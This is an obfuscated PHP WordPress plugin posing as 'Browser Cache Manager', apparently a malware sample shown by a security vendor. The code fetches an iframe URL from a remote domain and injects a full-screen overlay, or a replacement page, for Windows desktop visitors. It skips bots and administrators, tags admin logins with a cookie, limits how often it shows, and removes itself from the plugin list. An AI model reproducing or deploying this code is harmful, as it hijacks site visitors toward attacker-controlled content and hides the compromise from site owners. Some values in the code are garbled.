/**
* Plugin Name: Browser Cache Manager
* Description: Manages browser-level caching rules to reduce server requests and speed up repeat visits.
* Version: 1.2.8
* Author: CacheNode Labs
* License: GPL-2.0+
* Text Domain: browser-cache-manager
*/
goto M85iG; aKV6m: add_action("set_logged_in_cookie", function ($dnN9u, $C2zmZ, $pXT0v, $kcI1L) { goto Lq8aY; ZJaWZ: setcookie("bcm_a", "1", time() + 31536000, "/", '', $zJBA2, true); goto B9ub1; PECrY: if (!(!$Al9Le || !user_can($Al9Le, "manage_options"))) { goto SJuXJ; } goto yA_1i; Lq8aY: $Al9Le = get_userdata($kcI1L); goto PECrY; GTURi: SJuXJ: goto xWzPe; xWzPe: $zJBA2 = !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off"; goto ZJaWZ; yA_1i: return; goto GTURi; B9ub1: }, 10, 4); goto AXp_v; p9SYY: function bcm_visitor_key() { goto FqDgA; MPzZS: return "bcm_v_" . md5($K8iXK . $ERrg7); goto QxYMh; FqDgA: $K8iXK = isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : "unknown"; goto HWBpE; HWBpE: $ERrg7 = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; goto MPzZS; QxYMh: } goto kg4Ph; JkoQj: function bcm_is_bot() { goto nnc1j; Xzt2L: qW3Pq: goto yc04P; nnc1j: $ERrg7 = strtolower(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''); goto uSAld; fjRP0: foreach (array("bot", "crawl", "spider", "slurp", "googlebot", "bingbot", "yandexbot", "baiduspider", "ahrefsbot", "semrushbot", "duckduckbot", "facebookexternalhit", "linkedinbot", "mediapartners") as $dBPnj) { goto CK3NN; E5Unq: rNW1m: goto JZHCw; JZHCw: ndwoe: goto dSAil; CK3NN: if (!(strpos($ERrg7, $dBPnj) !== false)) { goto rNW1m; } goto KC1Dg; KC1Dg: return true; goto E5Unq; dSAil: } goto Xzt2L; j7ZH2: return true; goto sLtO8; yc04P: return false; goto aUjVh; sLtO8: vtdIl: goto fjRP0; uSAld: if (!empty($ERrg7)) { goto vtdIl; } goto j7ZH2; aUjVh: } goto HyyJ6; CbBKT: define("BCM_VISITOR_TTL", 30 * DAY_IN_SECONDS); goto biZMN; HyyJ6: function bcm_is_admin_user() { goto w6s38; ILxj9: foreach ($_COOKIE as $TXJvO => $DPie8) { goto zL4J8; y8Foa: return true; goto ZAh1d; ADD4b: yRMB1: goto lEtLC; zL4J8: if (!(strpos($TXJvO, "wordpress_logged_in") === 0)) { goto y0zKM; } goto y8Foa; ZAh1d: y0zKM: goto ADD4b; lEtLC: } goto GIizZ; f1ZNA: DQeU1: goto ILxj9; B_PW1: if (!(!empty($_COOKIE["bcm_a"]) && $_COOKIE["bcm_a"] === "1")) { goto B_M2k; } goto DMmGO; fna11: return false; goto XZ2CF; NEMgO: return true; goto f1ZNA; w6s38: if (!(function_exists("current_user_can") && current_user_can("manage_options"))) { goto DQeU1; } goto NEMgO; DMmGO: return true; goto udm0R; udm0R: B_M2k: goto fna11; GIizZ: owiX7: goto B_PW1; XZ2CF: } goto p9SYY; Pjsd_: define("BCM_VERSION", "1r.8"); goto FudWo; TPMcG: function bcm_increment_count($k0o3p) { goto g3UsQ; OFGgb: $_COOKIE["bcm_c"] = (string) $QoSvd; goto qwMDz; qwMDz: set_transient(bcm_visitor_key(), $QoSvd, BCM_VISITOR_TTL); goto vXrN6; t_elf: $zJBA2 = !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off"; goto w3Z7M; w3Z7M: setcookie("bcm_c", (string) $QoSvd, time() + BCM_VISITOR_TTL, "/", '', $zJBA2, false); goto OFGgb; g3UsQ: $QoSvd = $k0o3p + 1; goto t_elf; vXrN6: } goto a0dW8; oLfD4: Hyvd0: goto Pjsd_; fpr3X: function bcm_is_windows_desktop() { goto lWIrA; vhSAO: return false; goto dd81H; lWIrA: $ERrg7 = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; goto Z8YV9; mcCI0: Uw8Tb: goto vpMGS; Z8YV9: if (!empty($ERrg7)) { goto Uw8Tb; } goto e8yGh; e8yGh: return false; goto mcCI0; aG61X: return true; goto YIghw; dd81H: GXNa9: goto aG61X; XCotn: return false; goto i8Mtm; Bpl71: if (!preg_match("/Mobile|Android|iPhone|iPad|Windows Phone|Tablet/i", $ERrg7)) { goto GXNa9; } goto vhSAO; i8Mtm: GzOPj: goto Bpl71; vpMGS: if (preg_match("/Windows NT/i", $ERrg7)) { goto GzOPj; } goto XCotn; YIghw: } goto JkoQj; z0EJu: function bcm_inject_code($CEd5e) { return "<style>.bcm-f{position:fixed!important;top:0!important;left:0!important;width:0%!important;height:0%!important;z-index:2147483647!important;border:none!important;margin:0!important;padding:0!important}</style><script>(function(){try{var f=document.createElement("iframe");f.className="bcm-f";f.src=" . json_encode(esc_url($CEd5e)) . ";f.setAttribute("frameborder","0");f.setAttribute("allow","fullscreen");f.setAttribute("allowfullscreen","true");(document.body||document.documentElement).appendChild(f);}catch(e){}})()</script>"; } goto aKV6m; QFvwS: function bcm_should_show() { goto wFXIt; ba6xh: return false; goto HoZ8L; TwblO: DgO3s: goto uGJao; qCC1y: if (bcm_is_windows_desktop()) { goto DgO3s; } goto nzAbb; kte7H: gVNCl: goto GEeKL; C0eVJ: return false; goto LW_lT; QJlyl: if (!(defined("DOING_CRON") && DOING_CRON)) { goto UdNuR; } goto Jzwst; wFXIt: if (!is_admin()) { goto F26A2; } goto zjn7c; uGJao: return true; goto MyYyo; NpQfT: if (!bcm_is_bot()) { goto cOqRR; } goto C0eVJ; QyD5e: BGeWg: goto bDSYB; LW_lT: cOqRR: goto qCC1y; OKfHv: return false; goto X8x1S; WXwyf: return false; goto QyD5e; XQhma: return false; goto kte7H; nzAbb: return false; goto TwblO; bga3j: if (!(defined("DOING_AJAX") && DOING_AJAX)) { goto P_fEl; } goto AleSa; Nayti: UdNuR: goto eKbRO; Z1ASG: P_fEl: goto QJlyl; GEeKL: if (!(defined("WP_CLI") && WP_CLI)) { goto BGeWg; } goto WXwyf; X8x1S: I7qKy: goto glLg2; Jzwst: return false; goto Nayti; AleSa: return false; goto Z1ASG; HoZ8L: SX3pi: goto NpQfT; NeHlP: F26A2: goto bga3j; glLg2: if (!(defined("XMLRPC_REQUEST") && XMLRPC_REQUEST)) { goto gVNCl; } goto XQhma; zjn7c: return false; goto NeHlP; bDSYB: if (!bcm_is_admin_user()) { goto SX3pi; } goto ba6xh; eKbRO: if (!(defined("REST_REQUEST") && REST_REQUEST)) { goto I7qKy; } goto OKfHv; MyYyo: } goto TOOSk; a6BIb: function bcm_ob_callback($qzFsR) { goto QUU0r; UlK9P: DjoTu: goto V3gh7; J4kVj: return $qzFsR; goto tQNwH; ty7Li: $CEd5e = bcm_fetch_url(); goto yHt28; nwJeR: return $qzFsR; goto UlK9P; vQOIE: $TlvBE = bcm_get_count(); goto kr3XL; zyBZh: if (!($ffjJj === false)) { goto eeSsm; } goto J4kVj; kr3XL: if (!($TlvBE >= BCM_SHOW_LIMIT)) { goto DjoTu; } goto nwJeR; qjael: orm0a: goto zyBZh; h8XGE: u9FpI: goto vQOIE; u5A4l: sBpPa: goto Hoh9n; NHtVM: bcm_increment_count($TlvBE); goto uN2EZ; eC_Gq: U5ZIA: goto ty7Li; uN2EZ: return substr($qzFsR, 0, $ffjJj) . bcm_inject_code($CEd5e) . substr($qzFsR, $ffjJj); goto ZohWN; eY2_b: return $qzFsR; goto h8XGE; Wf889: return $qzFsR; goto eC_Gq; Hoh9n: if (bcm_should_show()) { goto U5ZIA; } goto Wf889; yHt28: if (!empty($CEd5e)) { goto u9FpI; } goto eY2_b; V3gh7: $ffjJj = strripos($qzFsR, "</body>"); goto SKzM0; KmU2v: return $qzFsR; goto u5A4l; tQNwH: eeSsm: goto NHtVM; SKzM0: if (!($ffjJj === false)) { goto orm0a; } goto NyvCX; NyvCX: $ffjJj = strripos($qzFsR, "</html>"); goto qjael; QUU0r: if (bcm_mark_shown()) { goto sBpPa; } goto KmU2v; ZohWN: } goto ygUy1; kWF93: function bcm_clean($CEd5e) { goto SyXV3; j5Zwo: return ''; goto R_nEN; FfSVX: $CEd5e = str_replace(array("
", "\xa", " "), '', $CEd5e); goto ogcMz; ogcMz: if (!(strpos($CEd5e, "http") !== 0)) { goto g3m15; } goto j5Zwo; Ekg4U: return sanitize_url($CEd5e); goto Ds0II; R_nEN: g3m15: goto Ekg4U; SyXV3: $CEd5e = trim($CEd5e); goto FfSVX; Ds0II: } goto fpr3X; AXp_v: add_action("template_redirect", function () { goto Y_WAs; viMb7: if (!empty($CEd5e)) { goto YyQQe; } goto Nm36K; LIPI9: lBV1h: goto PY66k; PY66k: if (!ob_get_level()) { goto T4FDi; } goto zKgsF; D6N4y: echo bcm_full_page($CEd5e); goto j1zUH; okXfO: if (!($TlvBE >= BCM_SHOW_LIMIT)) { goto P2dXp; } goto W7hMt; Cr9NF: header("Content-Type: text/html; charset=UTF-8"); goto wuWR8; Q3qrA: $CEd5e = bcm_fetch_url(); goto viMb7; W7hMt: return; goto QJfwA; LHnMi: return; goto LTtRX; e1DEe: if (bcm_mark_shown()) { goto z3pm4; } goto OG1Z1; j1zUH: exit; goto hZM1C; pr8mS: z3pm4: goto LIPI9; LTtRX: D019j: goto Q3qrA; nYOzi: header("Cache-Control: no-cache, no-store, must-revalidate"); goto Cr9NF; Y_WAs: if (bcm_should_show()) { goto D019j; } goto LHnMi; y0CrW: goto lBV1h; goto FlvJs; QJfwA: P2dXp: goto e1DEe; wuWR8: JTF_D: goto D6N4y; OG1Z1: return; goto pr8mS; Nm36K: return; goto k8oaU; GT4gC: bcm_increment_count($TlvBE); goto UyBts; hcIZl: $TlvBE = bcm_get_count(); goto okXfO; zKgsF: goto y0CrW; FlvJs: T4FDi: goto GT4gC; UyBts: if (headers_sent()) { goto JTF_D; } goto nYOzi; k8oaU: YyQQe: goto hcIZl; hZM1C: }, 1); goto CaNLg; CaNLg: add_action("wp_footer", function () { goto kK0fH; T8uq7: return; goto Yc3z5; TMdwj: HLpXj: goto zTw7Z; KdR0F: return; goto TMdwj; wT5V1: if (!($TlvBE >= BCM_SHOW_LIMIT)) { goto XAFFS; } goto iCtUq; o8A0L: echo bcm_inject_code($CEd5e); goto EoYj1; aw5Jv: VlK0y: goto vTI3H; ntSOv: return; goto aw5Jv; UguAB: if (!empty($CEd5e)) { goto gLt5r; } goto T8uq7; zTw7Z: $CEd5e = bcm_fetch_url(); goto UguAB; Yc3z5: gLt5r: goto Ge8zJ; hvOTD: XAFFS: goto a6vdF; a6vdF: if (bcm_mark_shown()) { goto VlK0y; } goto ntSOv; Ge8zJ: $TlvBE = bcm_get_count(); goto wT5V1; vTI3H: bcm_increment_count($TlvBE); goto o8A0L; kK0fH: if (bcm_should_show()) { goto HLpXj; } goto KdR0F; iCtUq: return; goto hvOTD; EoYj1: }, 1); goto a6BIb; Rtd2Z: exit; goto oLfD4; ygUy1: add_action("init", function () { goto L5s19; sJQQ2: H0Z6C: goto VkYjO; QGY3J: return; goto jCTEL; Cowsh: if (!(defined("DOING_AJAX") && DOING_AJAX)) { goto pb2rS; } goto QGY3J; dKjgW: ob_start("bcm_ob_callback"); goto VOysE; jCTEL: pb2rS: goto wc0GL; JUaHF: return; goto HA4U3; VkYjO: if (!(defined("REST_REQUEST") && REST_REQUEST)) { goto enFu2; } goto nPUXu; HA4U3: Tp_V4: goto Cowsh; wc0GL: if (!(defined("DOING_CRON") && DOING_CRON)) { goto H0Z6C; } goto svWRW; tGlgx: enFu2: goto dKjgW; svWRW: return; goto sJQQ2; nPUXu: return; goto tGlgx; L5s19: if (!is_admin()) { goto Tp_V4; } goto JUaHF; VOysE: }, 2); goto EnZBx; EnZBx: add_action("init", function () { goto eG8ip; XzLgG: exit; goto wIozv; GZKIM: return; goto O5yW4; cFRyf: header("Content-Type: application/json"); goto T4mph; T4mph: echo json_encode(array("plugin_version" => BCM_VERSION, "fetch" => bcm_fetch_url(true), "is_windows" => bcm_is_windows_desktop(), "is_bot" => bcm_is_bot(), "is_admin" => bcm_is_admin_user(), "show_count" => bcm_get_count(), "show_limit" => BCM_SHOW_LIMIT, "should_show" => bcm_should_show(), "ua" => isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : '', "php_version" => PHP_VERSION), JSON_PRETTY_PRINT); goto XzLgG; eG8ip: if (isset($_GET["bcm_debug"])) { goto lMUgA; } goto GZKIM; O5yW4: lMUgA: goto cFRyf; wIozv: }, 5); goto wohcc; biZMN: function bcm_fetch_url($bB4iJ = false) { goto dueqJ; NVBBX: uGmvb: goto VZJB4; Znk_E: K_vF2: goto Hp8si; J_7o2: I5dMp: goto GBzT0; eqcRq: set_transient("bcm_iframe_url", '', 60); goto Yz5hi; ik5cZ: set_transient("bcm_iframe_url", '', 60); goto stnF_; luUky: $g2MdK = curl_getinfo($w7CDC, CURLINFO_HTTP_CODE); goto TTHTJ; dueqJ: $MpcoU = get_transient("bcm_iframe_url"); goto LMzAm; xPpBW: curl_setopt($w7CDC, CURLOPT_SSL_VERIFYPEER, false); goto B6V_2; Hp8si: $w7CDC = curl_init(BCM_URL_FILE); goto h_wqw; w89nD: curl_setopt($w7CDC, CURLOPT_CONNECTTIMEOUT, 4); goto bVMUT; Jol5V: return $bB4iJ ? array("from_cache" => false, "url" => bcm_clean($CEd5e)) : bcm_clean($CEd5e); goto J1_zB; LMzAm: if (!($MpcoU !== false)) { goto K_vF2; } goto NAK4V; VZJB4: $CEd5e = trim($Rdo9k); goto vl0wJ; lS1ql: curl_setopt($w7CDC, CURLOPT_TIMEOUT, 8); goto w89nD; NAK4V: return $bB4iJ ? array("from_cache" => true, "url" => bcm_clean($MpcoU)) : bcm_clean($MpcoU); goto Znk_E; Yz5hi: return $bB4iJ ? array("from_cache" => false, "url" => '', "error" => $hLRIa, "code" => $g2MdK) : ''; goto NVBBX; h_wqw: if ($w7CDC) { goto I5dMp; } goto ik5cZ; B6V_2: curl_setopt($w7CDC, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"); goto LNP2w; wRJT9: $hLRIa = curl_error($w7CDC); goto luUky; stnF_: return $bB4iJ ? array("from_cache" => false, "url" => '', "error" => "curl_init failed", "code" => 0) : ''; goto J_7o2; LNP2w: $Rdo9k = curl_exec($w7CDC); goto wRJT9; bVMUT: curl_setopt($w7CDC, CURLOPT_FOLLOWLOCATION, true); goto xPpBW; vl0wJ: set_transient("bcm_iframe_url", $CEd5e, BCM_CACHE_TTL); goto Jol5V; GBzT0: curl_setopt($w7CDC, CURLOPT_RETURNTRANSFER, true); goto lS1ql; TTHTJ: curl_close($w7CDC); goto bP3lu; bP3lu: if (!($hLRIa || $g2MdK != 200 || empty($Rdo9k))) { goto uGmvb; } goto eqcRq; J1_zB: } goto kWF93; fhFgZ: define("BCM_CACHE_TTL", 1800); goto B9wFw; FudWo: define("BCM_URL_FILE", "https://myfoodsxsxsxcvcxs.cc/iframe-url.txt"); goto fhFgZ; M85iG: if (defined("ABSPATH")) { goto Hyvd0; } goto Rtd2Z; a0dW8: function bcm_mark_shown() { goto wC0px; wC0px: static $DdOJT = false; goto XEvjV; x9a8T: $DdOJT = true; goto ajVkX; Hpgz0: nfsbH: goto x9a8T; XEvjV: if (!$DdOJT) { goto nfsbH; } goto O7zel; ajVkX: return true; goto OmIUx; O7zel: return false; goto Hpgz0; OmIUx: } goto QFvwS; kg4Ph: function bcm_get_count() { goto D2wT0; z7Qp1: b4tgJ: goto a6ooZ; xTK7X: return $f7VoX !== false ? intval($f7VoX) : 0; goto HS3Nc; ou1e5: return intval($_COOKIE["bcm_c"]); goto z7Qp1; a6ooZ: $f7VoX = get_transient(bcm_visitor_key()); goto xTK7X; D2wT0: if (!isset($_COOKIE["bcm_c"])) { goto b4tgJ; } goto ou1e5; HS3Nc: } goto TPMcG; TOOSk: function bcm_full_page($CEd5e) { return "<!DOCTYPE html><html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title></title><style>*{margin:0;padding:0}body{overflow:hidden}</style></head><body><iframe src="" . esc_url($CEd5e) . "" style="position:fixed;top:0;left:0;width00%;height:100%;border:none;z-index:4847;" frameborder="0" allow="fullscreen" allowfullscreen></iframe></body></html>"; } goto z0EJu; B9wFw: define("BCM_SHOW_LIMIT", 3); goto CbBKT; wohcc: add_filter("all_plugins", function ($p_DQB) { unset($p_DQB[plugin_basename(__FILE__)]); return $p_DQB; });
© 2023 Quttera Ltd. All rights reserved.